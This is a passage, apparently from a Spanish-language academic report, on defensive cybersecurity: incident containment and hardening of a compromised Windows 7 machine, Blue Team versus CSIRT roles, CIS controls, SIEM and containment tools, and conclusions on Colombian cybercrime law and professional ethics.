infectado, todas estas revisiones y pruebas se deben realizar sobre la copia realizada,
evitando alterar la escena del ataque.

Ejecutar medidas de contencién: Dentro de los primeros pasos a seguir una vez
identificado un ataque al sistema, se debe revisar las politicas de seguridad y como
estas estan siendo ejecutadas sobre el equipo impactado, se identificarse falencias, se

deben aplicar de manera inmediata. Dentro de las medidas a revisar se encuentran:

Revision de antivirus: junto con la revision se debe dar la actualizacion y aplicacién
de este, para lograr identificar y eliminar cualquier tipo de malware que pudo haber
sido impactado.

Actualizacion del sistema: Un alto grado de ataques se encuentran en las
vulnerabilidades que estan presentes en sistemas desactualizados, es por ello por lo
que se debe aplicar y ejecutar las actualizaciones necesarias para contener y mitigar el
impacto que tiene el ataque sobre la maquina, estas actualizaciones se deben aplicar

sobre el sistema operativo y demaés aplicaciones que use.
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Es importante saber que Windows 7 ya no tiene soporte, por tal razén se recomienda la
actualizacion a Windows 10 u 11.

e Revision de politicas de seguridad de la compafiia: Identificar si dentro de las
politicas se identifica alguna vulnerabilidad que pueda dar cabida a un ataque
informatico.

e Bloqueo de cuentas: al identificar cuentas que estén comprometidas en el ataque, se
debe hacer un bloqueo inmediato, esto con el fin de proteger el sistema y evitar la

propagacion del ataque.

Medidas de Hardenizacion

Con el ejercicio realizado en el momento anterior, se logra identificar falencias en los
sistemas de proteccion con los que cuenta el equipo Windows 7 impactado y vulnerado, de ahi a
la importancia de realizar y aplicar medidas de hardenizacion que logren mitigar el grado de
impacto y vulnerabilidades existentes. Aunque no se puede garantizar que un ataque de ese tipo
se repita, si se pueden aplicar medidas que mitiguen el riesgo, dentro de ellas estan las siguientes:

Para el sistema local.

e Aplicacion de actualizaciones: una de las medidas mas eficientes es la de mantener
los sistemas siempre actualizados, esto mitiga las vulnerabilidades posibles cobre los
sistemas operativos y asi mismo lograr gestionar las actualizaciones de las
aplicaciones utilizadas. Para ello se recomienda la activacion de actualizaciones
automaticas de Windows, o el agente de Windows update, con ello se logra mantener
al dia, las actualizaciones del sistema operativo y aplicaciones. De igual manera se

puede activar las actualizaciones automaticas en Microsoft store.
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Es importante mencionar que Windows 7, ya no posee soporte por parte de Microsoft y
es por ello que se recomienda en alto grado, el realizar la migracion a sistemas operativos

Windows 10 o Windows 11.

e Configuracion del Firewall de Windows: Endurecer las reglas aplicadas en el
firewall, con ello se logra controlar gran parte del trafico entrante y saliente, dando
acceso a la red Unicamente a las aplicaciones que asi lo requieren. Es importante que
el firewall este activo para redes publicas y privadas y configurar reglas
personalizadas sobre aplicaciones especificas para evitar que aquellas que no
requieren acceso a la red, sean blanco de ataques. Las reglas del firewall se deben
revisar de manera regular y actualizar de acuerdo con las necesidades propias del

servicio o sistema.

e Configuracion de antivirus: Es importante contar con un sistema de proteccion
antivirus confiable y actualizada que permite el escaneo y que este habilitado la
proteccidn en tiempo real. Dentro de la proteccion antivirus, se recomienda la
activacion de Windows defender, que protege contra malware, proteccién en tiempo
real y algunas funciones de seguridad esenciales tales como andlisis programados,
actualizaciones de manera automatica, control de aplicaciones y navegacion,
proteccion contra ransomware, reporte de amenazas y a su vez no consume muchos
recursos del equipo, siendo muy eficiente. Aunque es una buena herramienta de

proteccidn, se recomienda que se complemente con otros antivirus GPL tales como
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Avast Free, AVG antivirus, Panda, Bitdefender entre otros, que dan una proteccion

extra y de manera gratuita.

Aplicacion de cifrado de datos BitLocker: Aunque esta es una herramienta de
cifrado para el disco duro y discos extraibles, esta es importante para la proteccion de
los datos que se encuentran almacenados alli e impide que personas no autorizadas

ingresen de manera indebida a ella.

Bitlocket se integra con TPM o médulo de plataforma segura y da un grado mayor de

proteccion al ir dirigida directamente al hardware y ayuda con la proteccion contra software

malicioso, ya que verifica la integridad del sistema antes de realizar el cargue del sistema

operativo utilizado facilitando el Secure boot para evitar el arranque con software malicioso.

Ajustar el control de cuentas de usuario o UAC: Contar con alertas o
notificaciones cuando se realicen cambios en el sistema, que requieren que se eleven
los privilegios a administrador del sistema, permite identificar en tiempo real un
posible ataque de elevacion de privilegios, es por ello que, en control de cuentas de

usuarios, se deben ajustar a los niveles maximos

Aplicacion de politica de contrasefias: El contar con un buen control y politica de
manejo de contrasefias, aumenta la seguridad en cuanto a los accesos y frente a

vulnerabilidades que se relacionen con ataques de fuerza bruta o de contrasefias, es
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por ello que se recomienda que las politicas de contrasefias estén bien configuradas y

tenga minimos estandares.

La configuracion local se puede realizar desde la politica de seguridad local, aunque se
recomienda que se pueda realizar por medio de un directorio activo.

Algunas politicas locales y de directorio activo serian:

- Longitud de la contrasefia con un minimo de caracteres, estos pueden estar
alrededor de los 12, que contengan, nimeros, letras y simbolos.

- Caducidad de por lo menos 30 dias.

- Evitar el uso de contrasefias repetidas.

- Activar el blogueo de cuentas si se excede el nimero de intentos de inicio de

sesion incorrectos.

Diferencia Entre Blue Team y Equipo de Respuesta a Incidentes

Dentro de la ciberseguridad los equipos blueteam y de respuesta a incidentes juegan un
papel crucial en la proteccion de los sistemas de informacion, y aungue en un sentido amplio se
podrian catalogar como similares, en el fondo son dos equipos que tienen labores distintas y con
un proposito un tanto diferente pero que se complementan entre si.

Estas son algunas de las diferencias:

Tabla 1 Blueteam Vs CSIRT

Blueteam CSIRT

Defensa proactiva que
busca prevenir los posibles
ataques informaticos al
sistema.

Defensa reactiva frente a los
ataques informaticos que se estan
ejecutando.

Enfoque




Previene, detecta y
analiza las posibles

Contencion, erradicacion e
investigacion forense, frente a los

Actividades | vulnerabilidades del sistema, . "
) P ataques informaticos detectados y en
mediante la vigilancia .
. tiempo real.
continua.
Busca fortalecer las
defensas del sistema mediante Busca minimizar el grado de
Objetivo la aplicacion de politicas impacto de los incidentes presentados,

efectivas y el uso correcto de
herramientas tales como los
IDS e IPS entre otros.

evitando en menor dafio posible sobre
el sistema.
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Mientras los equipos de blueteam se enfocan en la defensa proactiva, siempre realizando

un analisis constante al sistema, buscando mejorar las politicas y herramientas de proteccion

frente a ataques de ciberseguridad, los equipos de respuesta a incidentes, son mas reactivos frente

a ataques en curso y busca minimizar el grado de impacto del ataque, protegiendo al sistema de

manera inmediata y directa.
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Recomendaciones para el Ejercicio de Blue Team

Para fortalecer los ejercicios de Blue Team, se recomienda el uso de modelos y buenas
practicas de controles de seguridad que cumplan con los estandares mas altos en ciberseguridad.
Uso de CIS

El CIS o centro de seguridad de internet, son buenas practicas y controles de seguridad
que se pueden aplicar a todo tipo de compafias ya sean privadas o publicas y que busca apoyar a
los expertos en ciberseguridad a aplicar las mejores practicas frente a las politicas de seguridad
que mitiguen el riesgo de ataques e incidentes en los sistemas.

El CIS contiene varios controles de mejores practicas de ciberseguridad que ayudan a
mitigar las posibles amenazas en los sistemas. Estos controles fueron disefiados especialmente
para ayudar a los expertos en ciberseguridad a fortalecer la defensa de las organizaciones al tener
como punto de referencia las experiencias de otras organizaciones.

Dentro del equipo de Blueteam se utilizaria CIS para:

e Control sobre inventario: esto para lograr obtener la identificacion de todos los
activos informaticos junto con sus caracteristicas, evitando perder del radar, algunos
activos que puedan llegar a presentar vulnerabilidades explotables.

Las buenas practicas probadas del CIS dan linea directa sobre como manejar

correctamente los activos de la organizacion.

e Control de gestion de cuentas: Las buenas préacticas en la gestion de cuentas permite
que se minimicen las vulnerabilidades por ataques de elevacién de privilegios.

Cuando se maneja las cuentas de manera estandar como en el ejemplo y estas no se
gestionan correctamente, son blanco facil para los ciberdelincuentes, que logran acceder al

equipo con elevacidon de privilegios de manera mas agil y facil. EI buen control y gestion de
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cuentas, ayuda para poder cerrar el acceso de manera mas efectiva y en tiempo real, al tener

control total sobre los usuarios activos en el equipo y en el sistema.

Control de configuracion segura para hardware y software: Esto para poder
configurar correctamente y bajos los estandares de CIS, los sistemas de informacion,
minimizando asi las vulnerabilidades referentes a configuraciones erréneas al estar
monitoreada y generando alertas.

Limitacion y control de puertos de red: Permite supervisar y controlar la actividad
sobre los puertos de red, al gestionar y configurar las aplicaciones y su acceso a la
red. Evitando asi que aplicaciones sin la necesidad de acceso a red permitan
vulnerabilidades. En ocasiones se permite en el firewall, la configuracion por defecto,
que ocasiona apertura de puertos de red que dan entrada a atacantes, con el control de
puertos, se busca cerrar esa puerta.

Cumplimiento con regulaciones: El CIS y el cumplimiento de sus controles,
facilitan el cumplimiento de las diferentes regulaciones en seguridad y asi las

compafiias pueden enfocar sus esfuerzo y recursos de manera mas eficiente.

Todos estos controles implementados del CIS buscan el fortalecimiento de las

configuraciones iniciales en los sistemas de seguridad de las compafiias y se enfoca en fortalecer

los puntos mas criticos y relevantes, sin dejar de lado los pequefios detalles. Todo esto hace que

la implementacion de CIS, sea un punto a favor en el fortalecimiento de la seguridad de las

comparfiias por medio de la utilizacion de equipo blueteam.
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SIEM

Un SIEM por sus siglas en ingles Security Information and event management o Gestion
de informacion y eventos de seguridad, es un sistema de seguridad o solucion de software que es
capaz de centralizar la informacion o datos que provienen de diferentes soluciones de seguridad
y registros de los sistemas informaticos, para ayudar a detectar cualquier tipo de amenaza en
tiempo real, al analizar patrones sospechosos en el trafico y acceso a la red.

Los sistemas SIEM son la evolucion de la gestion de eventos de seguridad SEM, que
detecta los patrones de acceso a los sistemas que no son comunes Yy los detecta en tiempo real y
la gestidn de informacidn de seguridad SIM, que centraliza todos los registros que se originan del
monitoreo de seguridad y que busca dar respuesta inmediata y en tiempo real a los eventos de
seguridad.

Funciones: como funciones principales se encuentra el

e Recopilacién de informacién: Recopila todos los registros que llegan de las diferentes
herramientas de seguridad, estos pueden ser, Logs, dispositivos de red, aplicaciones y
mas.

e Unifica la informacidn: La informacidn recopilada proviene de diferentes fuentes y
SIEM unifica la informacién para una mejor y facil interpretacion y analisis.

e ldentificacidn de patrones: Al analizar la informacion recopilada, por medio de
algoritmos avanzados, busca patrones incorrectos en el funcionamiento y uso de los
sistemas que sean sospechosos.

e Deteccion de amenazas: Los analisis realizados y la identificacion de patrones

incorrectos 0 anormales dentro del sistema, permite la identificacidn en tiempo real
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de amenazas y la generacion de alertas ante posibles ataques. No solo permite la
detectar las amenazas, sino que las cataloga segun su grado de impacto.
e Generacion de informes: Genera informes detallados de las amenazas detectadas,

posibles soluciones y acciones tomadas en tiempo real.

SIEM cuenta con diferentes caracteristicas importantes para la proteccion de los sistemas,
estas serian las mas relevantes:

e Permite el manejo de grandes volimenes de informacion y de diferentes fuentes

e Unifica dicha informacion para mejor manejo y analisis

e Es automatizado generando eficiencia en los analisis.

e Flexible, ya que se integra con diferentes herramientas.

e Detecta amenazas al identificar diferentes patrones incorrectos en los sistemas.

e Permite dar respuesta mas oportuna a los incidentes generados por su monitoreo en

tiempo real.
e Ayuda con el cumplimiento de normas y legislaciones vigentes relacionadas con la

politica de seguridad de la informacion.

Existen varias herramientas que se basan en SIEM aqui algunas de ellas.

e IBM Security QRadar, de los sistemas SIEM méas completos del mercado.

e McAfee Enterprise Security Manager, de la prestigiosa y confiable compafiia de
seguridad.

e LogRhythm, esté orientada a pequefias empresas.
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Herramientas de Contencion de Ataques
Las herramientas de contencidn de ataques ayudan a eliminar el impacto sobre los
sistemas una vez ha ocurrido, estas herramientas pueden ser de hardware o software. Aqui

algunas de ellas.

e Firewalls: los firewalls son herramientas de hardware que permiten resguardar la red
al permitir o bloquear el trafico que se pueda generar, todo esto por medio de las
reglas definidas en €l. Al tener control del trafico de red, permite contener ataques al
bloquear el trafico malicioso, impidiendo su propagacion.

Una de las herramientas mas utilizadas son los Fortinet Fortigate, que previene y bloquea

el trafico incluso antes de que el atacante ingrese a la red.

Otra de las herramientas mas utilizadas y GPL es Pfsense, que permite el filtrado de

Ip/puertos, y equilibrio de carga Nat y VPN.

e Suricata: aunque se utiliza para deteccién de intrusos, esta herramienta GPL permite
en su configuracion, ser una herramienta de contencion de ataques informaticos al
analizar el trafico de red y bloquearlo segun se identifique una amenaza en tiempo
real.

e Antivirus: los antivirus, aunque se utilizan en su mayor grado en la deteccion de
eliminacion de software malicioso, también es capaz de contener ataques al poner en
cuarentena a los archivos infectados y de esta manera evitar su propagacion. Algunos

antivirus o antimalware pueden ser ClamWin Free Antivirus, ClamAV
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e Sandboxing: esta caja de arena que esta disefiada para el malware, permite ejecutar
aplicaciones potencialmente peligrosas dentro de entornos controlados, evitando la

propagacion del malware en la red.

Algunos de los sandboxing mas utilizados se encuentran, cuckoo sandbox, QEMU e

inclusive Virtualbox.
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Conclusiones

Con los conocimientos de las herramientas y procedimientos establecidos para la
realizacion de pruebas de penetracion o pentesting, se puede abordar los sistemas de informacion
de manera mas agil y segura, siempre bajo el marco y legislacion colombiana referente a la
politica de delitos informaticos.

El conocimiento de la ley 1273 de 2009 proporciona bases y sustento legal a las
compaiiias que realizan pruebas de penetracion, tales como los red teams y los blue teams,
brindando claridad y tranquilidad a las compafiias contratantes respecto a la idoneidad del
personal contratado para efectuar las auditorias de seguridad. Estas buenas practicas deben
complementarse con la aplicacion del cadigo de ética de COPNIA, que establece una linea ética
para los profesionales que realizan las auditorias y permite la claridad frente a las medidas
aplicables legalmente ante acciones indebidas.

Es de vital importancia para las compafiias contar con pruebas de penetracion controladas
por equipos Red Team, que proporcionen claridad sobre los ataques recibidos y permitan ajustar
o corregir los fallos encontrados. Con las pruebas realizadas, es posible comprender la
metodologia utilizada por los ciberdelincuentes y realizar un aseguramiento mas robusto de los
sistemas, mediante acciones simples como actualizaciones de las herramientas utilizadas en los
sistemas.

El fortalecimiento de las politicas y metodologias aplicadas a los controles de seguridad
en la ejecucion de acciones provenientes de equipos Blue Team, permiten fortalecer y robustecer
los sistemas de informacion dando mas tranquilidad a los usuarios y valor agregado a las

compafias que los aplican.
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Recomendaciones

Para la aplicacion y ejecucion de equipos Red Team y Blue Team, se recomienda tener

presente los siguientes aspectos:

Tener claridad y conocimiento sobre la normativa legal vigente sobre delitos
informaticos, esto permitira contar con acuerdos y contratos ligados a la legalidad.
Tener objetivos claros y determinar el alcance de las pruebas a realizar.

Contar con una planificacion detallada de los ejercicios a realizar dentro de los
sistemas para evitar violacion de la normativa legal y codigos de ética de COPNIA.
Realizar pruebas en ambientes controlados que sean lo mas realistas posibles, esto
dara mayor claridad sobre el alcance y afectacion posible en los sistemas.

Aplicar correctamente los controles establecidos segln el modelo a seguir para la
planificacién y puesta en marcha de la seguridad del sistema.

Realizar monitoreo continuo sobre los sistemas, esto dard mayor informacién sobre
el método utilizado por los ciberdelincuentes.

Tener comunicacion abierta entre los dos equipos, ayudara a generar informes mas

detallados que fortalezcan la seguridad del sistema.
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